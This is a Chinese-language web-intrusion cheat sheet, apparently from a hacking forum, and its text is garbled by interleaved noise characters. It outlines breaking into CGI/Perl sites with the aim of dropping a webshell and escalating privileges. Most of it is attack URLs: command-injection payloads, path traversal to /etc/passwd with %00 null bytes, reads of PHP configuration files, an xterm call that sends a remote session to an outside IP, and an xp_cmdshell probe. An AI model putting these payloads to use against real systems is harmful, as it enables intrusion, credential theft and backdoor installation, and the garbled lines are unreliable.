总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
" l4 g6 _) Y- `( xcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 9 {3 D+ Q$ X) S1 x( u! C
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 3 {/ _# V" N4 d% m1 Y3 \& q
注“
9 X8 U% ]6 u' H' l+ V- d: E# Qperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 # s* @/ \( c0 @6 i
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
8 X% ?4 U, a0 i6 z, n: c
% I; g8 h7 b2 Vhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 G0 f0 [' \, t$ C
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 ! R" \7 t: k+ S# {# y
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 x' h; ]# n( J, P7 c% M' c/ S \
http://target.com/cgi-bin/home/news/sub.pl?`id` 5 |+ h7 N8 E G1 k3 s
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` + I3 c- |1 ^ _
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 2 W$ J( ]+ }+ }* K/ B
3 q. E5 _7 S2 W9 T0 Shttp://target.com/test.pl;ls| 3 f0 O. Y. Y7 P$ f4 ^
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
2 o' e2 v% o* Mhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 8 r. {' u' ~! o2 P
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 9 x3 A* V7 J$ g% N7 v' n
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
# B, T: E4 [; v# E, k4 ehttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
4 _& L* i" @! n g9 g# X/ Q3 N1 @: t# `5 m$ K. X8 @
http://target.com/test.pl?&........ /../../etc/passwd ( l' Z9 N' ^- p8 ]7 F3 K9 B
. g- i& u; P( q5 j( L# V9 v0 t0 Fhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
& {8 b/ h# b+ V/ ^http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 * P8 Q% X% ]! V8 t3 L) Y
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
5 O; s: d7 e" G5 e& K* |: q! S+ h; J
http://www.target.org/show.php?f ... /include/config.php 查看php代码
( `0 i6 F8 `( P+ z& B3 @+ Uhttp://www.target.org/show.php?f ... ng/admin/global.php
0 f Q# ?, e' N- n, X& ~- s0 ?/ R' u3 ^3 K7 b; g
emm和ps的一句话
0 @$ S4 z! S8 @
- I4 K! C5 P, H2 I; Qhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
- W" ?6 x+ v2 Z% m% V6 I8 Y3 V
$ y; e6 y' n) L0 M9 W>bbb%20| ( s- E& n: h- p" E5 s4 n' X' S
% w% e _, G4 E/ Y2 e/ D
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 0 S8 X2 A: ?' ~+ R' ?: N
' I; P1 `% m/ x& ]5 r; k
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
7 n& _8 G3 h2 t* u: N2 Ohttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin $ m* q4 s' Y; A z. L3 b
1 t, I# ^8 ~0 x
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 . T) m; r* ~% u3 G" t
http://target.com/index.html#cmd.exe ' E& I2 E- p# |5 {+ u Y
http://target.com/index.html?dummyparam=xp_cmdshell
, y* H6 _. x% [( L( ^* plynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd / Z; P" ^% U' c7 {, u8 ^) v
|